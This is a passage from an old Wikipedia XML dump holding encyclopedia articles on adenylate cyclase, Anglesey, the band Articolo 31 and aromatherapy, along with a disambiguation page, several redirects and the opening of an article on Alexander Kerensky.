[[image:adenylate_kinase.png|thumb|400px|left|The reaction that Adenylate Cyclase cataylazes is the conversion of ATP to cAMP]]
==Regulation==
Adenylate cyclase is stimulated by [[G protein]]s, and by [[forskolin]], as well as other class-specific substrates. The classes I, III and VIII are also regulated by [[calcium|Ca&lt;sup&gt;2+&lt;/sup&gt;]]/[[calmodulin]]. In [[neuron]]s, adenylate cyclases are located next to calcium [[ion channel]]s for faster reaction to Ca&lt;sup&gt;2+&lt;/sup&gt; influx; they are suspected of playing an important role in learning processes. This is supported by the fact that adenylate cyclases are ''coincidence detectors'', meaning that they are only activated by several different signals occurring together.

[[Category:EC 4.6.1]]

[[de:Adenylylcyclase]]
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    </revision>
  </page>
  <page>
    <title>Alexandra</title>
    <id>2529</id>
    <revision>
      <id>42064522</id>
      <timestamp>2006-03-03T15:45:46Z</timestamp>
      <contributor>
        <ip>132.24.126.26</ip>
      </contributor>
      <comment>revert (vandalism)</comment>
      <text xml:space="preserve">'''Alexandra''' can refer to:

* [[Doris Nefedov]], a German singer who performed under the stage name &quot;Alexandra&quot;
* [[Alexandra of Hesse]], consort of Tsar Nicholas II of Russia
* [[Alexandra of Denmark]], consort of King Edward VII of the UK
* [[Alexandra, New Zealand]], town on the South Island
* [[Alexandra, South Africa]], township near Johannesburg
* [[Alexandra, Victoria]], a rural town in Australia
* [[Alexandra Maria Lara]]
* Another name for [[Cassandra]].


==See also==
*[[Alexandria]]

{{disambig}}

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    </revision>
  </page>
  <page>
    <title>Autoeroticism/History1</title>
    <id>2531</id>
    <revision>
      <id>26277339</id>
      <timestamp>2005-10-23T15:31:26Z</timestamp>
      <contributor>
        <username>Taxwoman</username>
        <id>375799</id>
      </contributor>
      <minor />
      <comment>Fixed link</comment>
      <text xml:space="preserve">'''NOTE:This article has been merged with [[Autosexuality]]. Feel free to delete this article.'''

'''Autoeroticism''' is the practice of fulfilling one's own sexual needs without a partner. The most common form of autoeroticism is [[masturbation]]. Many people also use [[dildo]]s, [[vibrator]]s, anal beads, [[sybian machine]]s, and other [[sex toy]]s alone.

Most autoerotic practices are relatively or entirely safe. 

One example of a dangerous practice is [[autoerotic asphyxiation]]. It may result in death, particularly when done alone.

[[Self-bondage]] is the practice of [[Bondage (BDSM)|sexual bondage]] by oneself; it carries a higher risk than bondage with a partner, and there is a large potential for things to go wrong.

{{sex-stub}}

[[Category:Masturbation]]</text>
    </revision>
  </page>
  <page>
    <title>Alpenhorn</title>
    <id>2533</id>
    <revision>
      <id>15900935</id>
      <timestamp>2005-06-08T22:14:42Z</timestamp>
      <contributor>
        <username>Violetriga</username>
        <id>90192</id>
      </contributor>
      <comment>Alpenhorn moved to Alphorn</comment>
      <text xml:space="preserve">#redirect [[Alphorn]]
</text>
    </revision>
  </page>
  <page>
    <title>Anglesey</title>
    <id>2534</id>
    <revision>
      <id>41694763</id>
      <timestamp>2006-03-01T02:48:21Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <minor />
      <comment>Spelling Dún Laoghaire</comment>
      <text xml:space="preserve">:''For the Staffordshire parish see [[Anglesey, Staffordshire]]; for the Australian town see [[Anglesea, Victoria]].''

{| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; clear: right; margin: 0 0 1em 1em;&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;260&quot;
|+ &lt;big&gt;'''Anglesey principal area'''&lt;/big&gt;
|-
| colspan=2 style=&quot;text-align: center; background: white;&quot;|[[Image:WalesAnglesey.png]]
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Geography
|-
! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br /&gt;- % Water
| [[List of Welsh principal areas by area|Ranked 9th]]&lt;br /&gt;[[1 E8 m²|714]] [[square kilometre|km²]]&lt;br /&gt;? %
|-
! Admin HQ
| [[Llangefni]]
|-
! Largest town
| [[Holyhead]]
|-
! [[ISO 3166-2:GB|ISO 3166-2]]
| GB-AGY
|-
! [[ONS coding system|ONS code]]
| 00NA
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Demographics
|-
! style=&quot;font-weight: normal;&quot; | '''[[Population]]''':&lt;br /&gt;- Total (2004 est.)&lt;br /&gt;- [[Density]]
|[[List of Welsh principal areas by population|Ranked 21st]]&lt;br /&gt;68,700&lt;br /&gt;[[List of Welsh principal areas by population density|Ranked 17th]]&lt;br /&gt;96 / km&amp;sup2;
|-
! Ethnicity
| 98.1% White
|-
! style=&quot;font-weight: normal;&quot; | '''[[Welsh language]]'''&lt;br /&gt;- Any skills
| [[List of Welsh principal areas by percentage Welsh language|Ranked 2nd]]&lt;br /&gt;70.4%
|-
| colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Politics
|-
|colspan=2 align=center|[[Image:Anglesey_arms.png|150px|Arms of Isle of Anglesey County Council]]&lt;br&gt;Isle of Anglesey County Council&lt;br /&gt;http://www.anglesey.gov.uk/
|-
! Control
| No overall control (majority of independents in factions, see [[#Politics|Politics]])
|-
! [[MPs elected in the UK general election, 2005|Member of Parliament]]
|
*[[Albert Owen]]
|-
![[Members of the National Assembly for Wales|Assembly Members]]
|
*[[Ieuan Wyn Jones]]&lt;br /&gt;(Constituency)
*[[North Wales National Assembly for Wales Electoral Region|North Wales]]&lt;br /&gt;(Regional)
|-
!'''[[Member of the European Parliament|MEPs]]'''||[[European Parliament election, 2004 (UK)#Wales|Wales]]
|}
{{infobox Wales traditional county|
   |County=     Anglesey
   |Image=      [[Image:WalesAngleseyTrad.png]]
   |SizeRank=   12th
   |Size=       176,630 acres
   |Water=      ?
   |CountyTown= [[Llangefni]]
   |ChapmanCode=AGY
 }}

'''Anglesey''' ([[Welsh language|Welsh]]: ''Ynys Môn'', pronounced {{IPA|/ˌ&amp;#592;n&amp;#618;s'mo:n/}} ([[International Phonetic Alphabet|IPA]]), roughly ''unniss mawn''), is an island and county at the northwestern extremity of [[north Wales]]. It is separated from the mainland by a narrow stretch of water known as the [[Menai Strait]]. It is connected to the mainland by two bridges, the original [[Menai Suspension Bridge]] (carrying the [[A5 road|A5]]), built by [[Thomas Telford]] in 1826 as a road link, and the newer, twice reconstructed [[Britannia Bridge]], carrying the [[A55 road|A55]] and the [[North Wales Coast Line|North Wales Coast Railway line]].  The county of Anglesey covers a number of islands apart from Anglesey itself, in particular [[Holy Island, Anglesey|Holy Island]].

==History==
Historically, Anglesey has long been associated with the [[Druidry|Druid]]s. In c. AD 60 the [[Roman Empire|Roman]] general [[Suetonius Paullinus]], determined to break the power of the druids, attacked the island, destroying the shrine and the sacred groves. The Romans called the island ''Mona''. After the Romans, the island was invaded by [[Vikings]], [[Saxons]], and [[Normans]] before falling to [[Edward I of England|King Edward I]] of England, in the [[13th century]].

''Môn'' is the [[Welsh language|Welsh]] name of Anglesey. The English name is a corrupted form of [[Old Norse]], meaning the 'Isle of Ongull'. [[Old Welsh]] names are ''Ynys Dywyll'' (&quot;Dark Isle&quot;) and ''Ynys y Cedairn'' (''cedyrn'' or ''kedyrn''; &quot;Isle of brave folk&quot;). It is the ''Mona'' of [[Tacitus]] (Ann. xiv. 29, Agr. xiv. 18), [[Pliny the Elder]] (iv. 16) and [[Dio Cassius]] (62). It is called ''Mam Cymru'' (&quot;Mother of Wales&quot;) by [[Giraldus Cambrensis]]. ''Clas Merddin'', and ''Y fêl Ynys'' (honey isle) are other names. According to the Triads (67), Anglesey was once part of the mainland, as geology proves. The island was the seat of the [[Druid]]s, of whom 28 [[cromlech]]s remain on uplands overlooking the sea; e.g. at [[Plâs Newydd]]. The Druids were attacked in [[61]] by [[Suetonius Paulinus]], and again in [[78]] by [[Gnaeus Julius Agricola|Agricola]]. The present road from [[Holyhead]] to [[Llanfairpwllgwyngyll]] was originally a Roman road. British and Roman camps, coins and ornaments have been dug up and discussed, especially by the Hon. Mr. Stanley of Penrhos. The foundations of [[Holyhead]] are [[Caer Gybi]] Roman. 

As an island ''Môn'' would usually be a good defensive position and because of this it was the site of the court or ''Llys'' of the kings and princes of Gwynedd at [[Aberffraw]]. Apart from a devastating [[Denmark|Danish]] raid in [[853]] this was to remain the case until the thirteenth century when improvements to the English navy made it indefensible.

==Geography==
Anglesey is a relatively low-lying island with slight risings such as [[Parys Mountain]],  Cadair Mynachdy (or Monachdy, i.e., &quot;chair of the monastery&quot;; there is a Nanner, &quot;convent&quot;, not far away), [[Mynydd Bodafon]] and [[Holyhead Mountain]]. It was known as the breadbasket of Wales, referred to during the Middle Ages as ''Anglesey, Mother of Wales'' (Welsh: ''Môn, Mam Cymru''). This gave it substantial strategic importance during the struggles between the English kings and the Welsh princes.

[[Image:Brittania Bridge Train crossing 3.JPG|left|thumb|200px|Britannia Bridge from the east along the [[Menai Strait]] ]]

Anglesey has many small towns scattered all around the island, making it quite evenly populated. [[Beaumaris, Wales|Beaumaris]] (Welsh: ''Biwmares''), to the south of the island, features [[Beaumaris Castle]], built by [[Edward I of England|Edward I]] as part of his campaign in North Wales. The town of [[Newborough, Anglesey|Newborough]] (Welsh: ''Niwbwrch''), created when the townfolk of Llanfaes were relocated to make way for the building of Beaumaris Castle, includes the site of [[Llys Rhosyr]], another of the courts of the mediaeval Welsh princes and which features one of the oldest courtrooms in the United Kingdom. Beaumaris acts as a [[yachting]] centre for the region with many boats mored in the bay or off Gallows point.  [[Llangefni]] is located in the centre of the island and is also the island's administrative centre. The town of [[Menai Bridge]] (Welsh: ''Porthaethwy'') expanded when the first bridge to the mainland was being built, in order to accommodate workers and construction. Up until that time Porthaethwy had been one of the principal ferry crossing points from the mainland. A short distance from this town lies [[Bryn Celli Ddu]], a [[Stone Age]] burial mound. The town of [[Amlwch]] is situated in the northeast of the island and was once largely industrialised, having grown during the 18th century supporting the [[copper]] mining industry at Parys Mountain.

The island also has the village with the longest official place name in the [[United Kingdom]], [[Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch]]. Other towns and settlements include [[Cemaes]], [[Benllech]], [[Pentraeth]], [[Gaerwen]], [[Dwyran]], [[Bodedern]] and [[Rhosneigr]]. The [[Anglesey Sea Zoo]] is a local tourist attraction, providing a look at and descriptions of local marine [[wildlife]] from [[European lobster|lobsters]] to [[conger eel]]s. All the [[fish]] and [[crustacean]]s on display are caught around the island and are placed in reconstructions of their natural [[habitat (ecology)|habitat]]. They also make [[salt]] (evaporated from the local sea water) and commercially breed lobsters, for food, and [[oyster]]s, for pearls, both from local stocks.

The island's entire rural coastline had been designated an [[Area of Outstanding Natural Beauty]] and features many sandy beaches, especially along its eastern coast between the towns of Beaumaris and Amlwch and along the western coast from [[Ynys Llanddwyn]] through [[Rhosneiger]] to the little bays around Carmel Head. Tourism is now the most significant economic activity on the island.  Agriculture provides the secondary source of income for the island's economy, with the local dairies being amongst the most productive in the region. There is also a nuclear power station, at [[Wylfa]] Head on the north coast.

Major industries are restricted to Holyhead which supports an [[aluminium]] smelter and the [[Amlwch]] area where the [[Wylfa]] nuclear power station is located close to  a [[bromine]] extraction plant. There are a wide range of smaller industries, mostly located in industrial and business parks especially at [[Llangefni]] and [[Gaerwen]]. These industries include an [[Slaughterhouse|abbatoir]] and fine chemicals manufacture as well as factories for timber production, aluminium smelting, fish farming , and food processing.

The island is also on one of the major routes from the mainland of Great Britain to [[Ireland]], via [[ferry|ferries]] from [[Holyhead]], off the west of Anglesey on [[Holy Island, Anglesey|Holy Island]], to [[Dún Laoghaire]] and [[Dublin]] Port.

There are a few lakes mostly in the west, such as Cors cerrig y daran, but rivers are few and small. There are two large water supply reservoirs operated by Dwr Cymru . These are [[Llyn Cefni]] in the centre of the island, which is fed by the headwaters of the [[River Cefni|Afon Cefni]], and [[Llyn Alaw]] to the north of the island. [[Llyn Llywenan]] is  the largest natural lake on the island.

The climate is humid but generally equable due the effects of the [[gulf stream]] bathing the island. The land is of variable quality and it may have been more fertile in the past.

''See the [[list of places in Anglesey]] for all villages, towns and cities''.

==Ecology and Conservation==
Much of Anglesey is covered with relatively intensive cattle and sheep farming aided by modern agro-chemicals. In these areas there is little of ecological conservation worth. However there are a number of important wet-land sites which have protected status. In addition the several lakes  all have significant ecological interest including their support for a wide range of aquatic and semi-aquatic bird species. In the west, the [[Malltraeth]] marshes are believed to be supporting an occasional visiting [[Bittern]] and the nearby estuary of the [[River Cefni|Afon Cefni]] supports a bird population made internationally famous by the paintings of [[Charles Tunnicliffe]].

The  sheer cliff faces at South Stack near Holyhead provide nesting sites for huge numbers of [[Auk|auks]] including [[Puffin]]s, [[Razorbill]]s and [[Guillemot]]s together with [[Chough]]s and [[peregrine_falcon|Peregrine falcons]].

Three sites on Anglesey are important for breeding terns - see [[Anglesey tern colonies]].

Almost the entire coastline of Anglesey is designated an Area of Outstanding Natural Beauty [http://www.sos.bangor.ac.uk/aerial/index.htm]

==Culture==
Anglesey hosted the [[National Eisteddfod]] in [[1999]].

==Geology==
The geology of Anglesey is notably complex and is frequently used for geology [[field trip]]s by schools and colleges. Younger strata in Anglesey rest upon a foundation of very old [[pre-Cambrian]] rocks that appear at the surface in four areas:
#a western region including Holyhead and [[Llanfaethlu]],
#a central area about [[Aberffraw]] and [[Trefdraeth]], 
#an eastern region which includes [[Newborough, Anglesey|Newborough]], [[Caerwen]] and [[Pentraeth]] and
#a coastal region at [[Glyn Garth]] between [[Menai Bridge]] and [[Beaumaris]].
These [[pre-Cambrian]] rocks are [[schist|schists]] and [[slate|slates]], often much contorted and disturbed.  The general line of strike of the formations in the island is from north-east to south-west.  A belt of [[granitic|granitic rocks]] lies immediately north-west of the central pre-Cambrian mass, reaching from [[Llanfaelog]] near the coast to the vicinity of [[Llanerchymedd]].  Between this granite and the pre-Cambrian of Holyhead is a narrow tract of [[Ordovician]] slates and grits with Llandovery beds in places; this tract spreads out in the north of the island between [[Dulas Bay]] and Carmel Point.  A small patch of Ordovician strata lies on the northern side of Beaumaris.  In parts, these Ordovician rocks are much folded, crushed and metamorphosed, and they are associated with schists and altered volcanic rocks which are probably pre-Cambrian.  Between the eastern and central pre-Cambrian masses [[carboniferous]] rocks are found.  The carboniferous [[limestone]] occupies a broad area south of [[Lligwy Bay]] and [[Pentraeth]], and sends a narrow spur in a south-westerly direction by [[Llangefni]] to [[Malltraeth|Malltraeth sands]].  The limestone is underlain on the north-west by a red basement conglomerate and yellow [[sandstone]] (sometimes considered to be of Old Red Sandstone age).  Limestone occurs again on the north coast about [[Llanfihangel]] and [[Llangoed]]; and in the south-west round Llanidan on the border of the [[Menai Strait]]. [[Puffin Island]] is made of carboniferous limestone.  [[Malltraeth|Malltraeth marsh]] is occupied by coal measures, and a small patch of the same formation appears near [[Tall-y-foel]] Ferry on the [[Menai Strait]].  A patch of [[granite|granitic]] and [[felsite|felsitic]] rocks form [[Parys Mountain]], where copper and iron ochre have been worked.  [[Serpentine]] (Mona Marble) is found near [[Llanfairynneubwll]] and upon the opposite shore in [[Holyhead]]. There are abundant evidences of glaciation, and much boulder clay and drift sand covers the older rocks.  Patches of brown sand occur on the south-west coast.

==Politics==
Anglesey (together with Holy Island) is one of the thirteen [[traditional counties of Wales]]. In medieval times, before the conquest of Wales in [[1283]], ''Môn'' often had periods of temporary independence as it was frequently bequeathed to the heirs of kings as a [[sub kingdom]] of [[Kingdom of Gwynedd|Gwynedd]]. The last times this occurred were for a few years after 1171 following the death of [[Owain Gwynedd]] when the island was inherited by [[Rhodri ab Owain Gwynedd]] and again between 1246 - c.1255 when it was given to [[Owain Goch]] as his share of the kingdom. Following the conquest of Wales by [[Edward I of England|Edward I]] it was created a county under the terms of the [[Statute of Rhuddlan]] of 1284. Prior to this it had been divided into the ''[[cantref|cantrefi]]'' of:

* [[Cantref Aberffraw|Aberffraw]]
* [[Cantref Rhosyr|Rhosyr]]
* [[Cantref Cemais|Cemais]]

In 1974 it formed a district of the new large [[Administrative counties of Wales|administrative county]] of [[Gwynedd]], until in the 1996 reform of local government it was restored as an administrative county.  The county council is a [[unitary authority]] and is named &quot;Isle of Anglesey County Council / Cyngor Sir Ynys Môn&quot;.  While there is currently a majority of independent councillors, the council is under no overall control, as the members do not generally divide along party lines.  The only party group on the council is that of [[Plaid Cymru]].  There are five non-partisan groups on the council, containing a mix of party and independent candidates.  The largest of these groups is ''Môn Ymlaen''/''Anglesey Forward'', with 15 members out of the 40 in total.

==See also==
*[[Ynys Môn (UK Parliament constituency)]]

==External links==
*[http://www.anglesey-history.co.uk Anglesey History]
*[http://www.half-lightmovie.com Half Light]
*[http://www.churchbay.co.uk/journal Anglesey wildlife, weather and other information]
*[http://y2u.co.uk/&amp;002_Images/Parys_Mountain_01.htm Photos of the Parys Mountain Copper Mine near Amlwch, Anglesey ]
*[http://www.anglesey.info/ Anglesey Môn Info Web - An information site about Anglesey.]
*[http://www.anglesey-today.com Anglesey Today]
*[http://www.flickr.com/photos/davellandudno/sets/711635/ Isle of Anglesey Photographs]
*[http://www.angleseymotoring.co.uk AngleseyMotoring - a directory of Motoring Services and Garages on Anglesey]


{{Wales subdivisions}}
{{Wales traditional counties}}

[[Category:Traditional counties of Wales]]
[[Category:Principal areas of Wales]]
[[Category:Anglesey|*]]
[[Category:Geography of Wales]]
[[Category:Islands of Wales]]
[[Category:Areas of Outstanding Natural Beauty in Wales]]

[[cy:Ynys Môn]]
[[de:Anglesey]]
[[et:Anglesey]]
[[eo:Anglesey]]
[[fr:Anglesey]]
[[gl:Anglesey]]
[[kw:Ynys Mon]]
[[lb:Anglesey]]
[[nl:Anglesey]]
[[no:Anglesey]]
[[pl:Anglesey]]
[[sv:Ynys Môn]]</text>
    </revision>
  </page>
  <page>
    <title>Aw</title>
    <id>2535</id>
    <revision>
      <id>15900937</id>
      <timestamp>2003-11-02T10:32:51Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <comment>upd. redir (please don't redirect to user namespace)</comment>
      <text xml:space="preserve">#REDIRECT [[AW]]</text>
    </revision>
  </page>
  <page>
    <title>Articolo 31</title>
    <id>2536</id>
    <revision>
      <id>40359981</id>
      <timestamp>2006-02-20T01:23:00Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Articolo 31''' is a popular band in [[Italy]], melding [[hip hop music|hip hop]], [[funk]], [[rap music|rap]] and traditional [[Italian]] musical forms.  They are one of the most popular [[Europe]]an rap groups. Members are rapper [[J Ax]] and [[DJ Jad]]; their producer is [[Franco Godi]] who produced the music for the ''Signor Rossi'' animated series. They took their name from the [[Irish]] constitutional law guaranteeing freedom of the press. They moved from pure hip hop to hip hop with many influences from rock (sampling [[Bob Dylan]]), [[klezmer]] (sampling the Klezmatics) etc. to a rock/pop-inspired kind of rap. With &quot;Domani smetto&quot; they left the world of hip hop per se, rapping and singing to rock/pop tracks. They worked together with [[Kurtis Blow]] on the album &quot;XChé SI!&quot;, which also included an electro track. Their posse, ''Spaghetti Funk'', has other popular members like [[Space One]] and especially pop rappers [[Gemelli DiVersi]]. 

==External links==

*[http://www.articolo31.com Official website]
{| class=&quot;wikitable&quot;
|+ Articolo 31 Discography
|-
| '''Year''' || '''Title''' || '''Label'''
|-
| [[1996]] || ''[[Cosi com'è]]'' || [[Ricordi]]
|-
| [[1997]] || ''[[Messa di vespiri]]'' || Ricordi 
|-
| 1997 || ''[[Strade di città]]'' || Ricordi
|-
| [[1998]] || ''[[Nessuno]]'' || Ricordi/[[BMG]]
|-
| [[2001]] || ''[[XChé SI!]]'' || BMG 
|-
| [[2002]] || ''[[Domani smetto]]'' || BMG
|-
| [[2003]] ||  ''[[Italiano Medio]]'' || BMG
|}

{{Italy-band-stub}}

[[Category:Hip hop groups]]
[[Category:Italian musical groups]]
[[als:Articolo 31]]
[[it:Articolo 31]]</text>
    </revision>
  </page>
  <page>
    <title>Analog Science Fiction</title>
    <id>2537</id>
    <revision>
      <id>19450597</id>
      <timestamp>2005-07-23T17:02:42Z</timestamp>
      <contributor>
        <username>Notinasnaid</username>
        <id>86195</id>
      </contributor>
      <comment>Concluding experiment. Back to redirect. Does the category stay</comment>
      <text xml:space="preserve">#REDIRECT [[Astounding (magazine)]]</text>
    </revision>
  </page>
  <page>
    <title>Aromatherapy</title>
    <id>2539</id>
    <revision>
      <id>39348324</id>
      <timestamp>2006-02-12T15:27:41Z</timestamp>
      <contributor>
        <ip>129.234.4.76</ip>
      </contributor>
      <comment>/* Theory */</comment>
      <text xml:space="preserve">'''Aromatherapy''', commonly associated with [[complementary and alternative medicine]] (CAM), is the use of volatile liquid plant materials, known as [[essential oils]] (EOs), and other aromatic compounds from plants to affect someone's mood or health. The word was coined in the [[1920s]] by French chemist René Maurice Gattefossé. 

The main branches of aromatherapy include:
* Home aromatherapy (self treatment, perfume &amp; cosmetic use)
* Clinical aromatherapy (as part of [[pharmacology]] and [[pharmacotherapy]])
* [[Aromachology]] (the psychology of odors and their effects on the mind)


== Materials ==
Some of the materials employed include:
* [[Essential oil]]s from [[distillation]] (e.g. [[eucalyptus]] oil) or expression ([[grapefruit]] oil)
* [[Absolutes]], oils extracted by [[solvent]] or [[supercritical fluid]] extraction (e.g. [[rose]] absolute)
* [[Hydrosol]]s, aqueous [[by-product]]s of the distillation process (e.g. [[rosewater]])
* [[Infusion]]s, aqueous solutions of plant material (e.g. infusion of [[chamomile]])
* [[Phytoncide]]s, natural [[volatile organic compound]]s from plants
* [[Carrier oil]]s used to dilute essential oils for use on the skin (e.g. [[almond|sweet almond]] oil)

== Theory ==
When aromatherapy is used for the treatment or prevention of disease, a precise knowledge of the bioactivity and [[synergy]] of the essential oils used, knowledge of the dosage and duration of application, as well as, naturally, a medical diagnosis, are required.  In the Anglo-Saxon world, even among &quot;natural&quot; practitioners like herbalists or naturopaths, aromatherapy is regarded more as an art form than a valid healing science.  At best, it is viewed as a complementary and seldom the only treatment prescribed.   On the continent, especially in France, where it originated, aromatherapy is incorporated into mainstream medicine. There, the use of the anti-septic properties of oils in the control of infections is emphasized over the more &quot;touchy feely&quot; approaches familiar to English speakers. In France some essential oils are regulated as [[prescription drug]]s, and thus administered by a [[physician]]. In many countries they are included in the national [[pharmacopeia]], but up to the present moment aromatherapy as science has never been recognized as a valid branch of medicine in the United States, Russia or Germany.

Essential oils, phytoncides and other natural [[volatile organic compound|VOC]]s work in different ways. At the scent level they activate the limbic system and emotional centers of the brain. When applied to the skin (commonly in form of &quot;massage oils&quot; i.e. 1-10% solutions of EO in carrier oil) they activate thermal receptors, and kill microbes and fungi. Internal application of essential oil preparations (mainly in pharmacological drugs; generally not recommended for home use apart from dilution - 1-5% in fats or mineral oils, or hydrosoles) may stimulate the immune system, urine secretion, may have antiseptic activity etc. 
Different essential oils have very different activity; they are studied in [[pharmacology]] and [[aromachology]].   
 
It is significant to note the concept of [[chemotype]] in essential oil chemistry. Eucalyptus, for example, has many species, such as ''Eucalyptus globulus'' (main component is 1,8 cineole), ''Eucalyptus citriodora'' (citral), ''Eucalyptus menthol'', and others.  Properties of the essential oils of the same generic (common) name are not all the same; they can differ widely in their chemical components and in their therapeutic actions. Likewise, their chemical makeup depends on the method of extraction (e.g. pressed and distilled bergamot oil have different uses). The practitioner must be aware of these factors. 

For medicinal aromatherapy the essential oil specification must meet the following criteria:
* Full botanical name of the plant (e.g. ''[[Wild mint]] oil from Mentha arvensis'')
* Type of extraction method: ''essential oil'', ''absolute'', ''СО2-extract'', ''cold pressing'' (e.g. ''Rose oil—absolute'', or ''Rose—essential oil'')
* Chemotype of the plant—noting the species or cultivar of the raw material (e.g. ''[[Rosemary]] essential oil—[[camphor]] type'')
* Part of the plant used (e.g. ''[[Cinnamon]] essential oil—[[Sri Lanka|Ceylon]] type from leaves'')
* Grade, if manufacturers traditionally use such gradation (e.g. ''[[Ylang-ylang]] essential oil, the premium grade''). Reputable aromatherapists insist on pharmaceutical grade that is a higher grade than oils suitable for perfumery or flavoring or other non-therapeutic use.
* Indication of any additional processing of the oil (e.g. ''[[Lemon]] essential oil, deterpenized'')
* Main chemical component, when standardized (e.g. ''[[Peppermint]] oil, rectific. 30/35''—meaning the menthol content is between 30-35%)
* Country of manufacture—frequently it is possible to deduce from this the composition of the oil  (e.g. a batch of ''[[sweet flag|Calamus]] essential oil, [[India]]'' tends to have high [[azaron]] content, while [[Ukraine|Ukrainian]] samples of Calamus tend to be lower in azaron content)

== Application ==
While the practice of aromatherapy is sometimes thought to be confined to [[inhalation]], it may include various methods, including:
* Inhalation (directly or diffused into the air)
* Absorption through the skin (baths, massages, compresses)
* Absorption through the mucous membranes (oral rinses and gargles)
* Ingestion (occasionally prescribed, with caveats)

== Therapeutic effects ==
Aromatherapy is based mainly on the following therapeutic effects:
* [[Antiseptic]] effects: [[viricide|viricidial]], [[bactericide|bactericidal]], [[fungicide|fungicidal]]
* [[Anesthetic]] action (menthol, camphor)
* [[Central nervous system]] effects
* [[Metabolism|Metabolic ]] / [[Endocrine]] effects
* [[Psychology|Psychological]] effects
* [[Immunostimulator]]

Fragrances can have a relaxing effect measured as an increase in alpha [[brain wave]]s. 

One of the best known essential oils for aromatherapy is [[lavender]], which is recommended by practitioners for treating wounds, to enhance memory, and to aid sleep by combating [[anxiety]] and [[insomnia]].  Other popular scents include [[eucalyptus]], [[rose]], [[jasmine]] and [[bergamot]].

Aromatherapy is among the fastest growing fields in alternative and holistic medicine. Aromatherapy is sometimes used in clinics and hospitals for treatment of pain relief, for labor pain, for relieving pain caused by the side effects of the chemotherapy, and for the rehabilitation of cardiac patients.

== Criticism ==
Skeptics argue that while pleasant scents can be relaxing, lowering stress and related effects, there is currently insufficient scientific proof of the effectiveness of aromatherapy. Like many [[alternative medicine|alternative therapies]], few controlled, [[double-blind]] studies have been carried out&amp;mdash;a common explanation is that there is little incentive to do so if the results of the studies are not [[Patentability|patentable]].  There are some treatments generally accepted in [[Western medicine]] to give a form of relief for the airways in case of cold or flu, such as [[mint]] and [[eucalyptus]] essential oils. Skeptical literature often depicts aromatherapy as based on [[anecdotal evidence]] of its benefits rather than proof that aromatherapy can cure diseases. Some skeptics acknowledge that aromatherapy has limited scientific support but argue that its claims go beyond the data or that the studies are not adequately controlled and peer reviewed. If there can be positive effects, there can also be negative ones if used incorrectly or in bad combinations especially with traditional pharmacology.

The term &quot;aromatherapy&quot; has been applied to such a wide range of products that almost anything which contains essential oils is likely to be called an &quot;aromatherapy product&quot;, rendering the term somewhat meaningless in that context.

Some proponents of aromatherapy believe that the claimed effect of each type of oil is not caused by the chemicals in the oil interacting with the senses, but that the oil contains a distillation of the &quot;life force&quot; of the plant from which it is derived that will &quot;balance the energies&quot; of the body and promote healing or well-being by purging negative vibrations from the body's energy field. Arguing that there is little [[scientific method|scientific evidence]] that healing can be achieved, or that the claimed &quot;energies&quot; even exist, many [[scientific skepticism|skeptics]] reject this form of aromatherapy as [[pseudoscience]] or even [[quackery]].

== External links ==
*[http://www.oilganic.com/associations-research-trade.htm Aromatherapy Associations and Research Bodies]
*[http://aromatherapyinfonet.com Aromatherapy]- Aromatherapy information, articles and reviews
*[http://www.aromaweb.com AromaWeb]  - Portal of home aromatherapy


====Criticism====
*[http://www.cf.ac.uk/biosi/staff/jacob/teaching/sensory/olfact1.html Smell Research by Tim Jacob: ''Aromatherapy - does it work?'']
*[http://www.quackwatch.org/01QuackeryRelatedTopics/aroma.html Aromatherapy: Making Dollars out of Scents]

[[Category:Aromatherapy|*]]
[[Category:Perfumery]]
[[Category:Alternative medicine]]

[[ar:طب الروائح]]
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[[ja:アロマセラピー]]
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[[ru:Ароматерапия]]</text>
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  <page>
    <title>Abodrites</title>
    <id>2542</id>
    <revision>
      <id>15900942</id>
      <timestamp>2002-02-28T14:45:10Z</timestamp>
      <contributor>
        <username>David Parker</username>
        <id>42</id>
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      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Obotrites]] </text>
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  <page>
    <title>Alexander Kerensky</title>
    <id>2543</id>
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      <id>41009381</id>
      <timestamp>2006-02-24T13:21:50Z</timestamp>
      <contributor>
        <username>Catapult</username>
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      <minor />
      <comment>[[Wikipedia:Categories for deletion/Log/2006 February 17|CFD]]: renaming category[[user:freakofnurture|...]]</comment>
      <text xml:space="preserve">[[image:Aleksandr Fedorovich Kerensky.jpg|thumb|200px|right|Alexander Kerensky]]

'''Alexander Fyodorovich Kerensky''' ([[Russian language|Russian]]: Алекса́ндр Фёдорович Ке́ренский) ([[April 22]], [[1881]] ([[May 2]], [[New Style]]) - [[June 11]], [[1970]]) was a Russian revolutionary leader, who was instrumental in toppling the Russian [[Monarchy]].  He served as the second [[Prime Minister]] of the [[Russian Provisional Government, 1917|Russian Provisional Government]], immediately before [[Lenin]] seized power in the [[October Revolution|October Revolution]].

==Early life and activism==
Kerensky was born in [[Simbirsk]] (now [[Ulyanovsk]]) the son of a headmaster. This was also Lenin's birthplace, and at one point Kerensky's father Fyodor taught the young [[Vladimir Ulyanov]] at [[Kazan State University|Kazan University]]. Kerensky graduated in law from [[Saint Petersburg University]] in 1904. He showed his political sympathies early on with his frequent defence of anti-Tsarist revolutionaries. He was elected to the Fourth [[Duma]] in 1912 as a member of the [[Trudoviks]] (a moderate [[Labour movement|labour party]]). A brilliant orator and skilled parliamentary leader, he became a member of the [[Provisional Committee of the Duma]] as a [[Socialist-Revolutionary Party|Socialist Revolutionary]] and a leader of the [[socialism|socialist]] opposition to the regime of the ruling [[tsar]], [[Nicholas II of Russia|Nicholas II]]. 

==February Revolution of 1917==
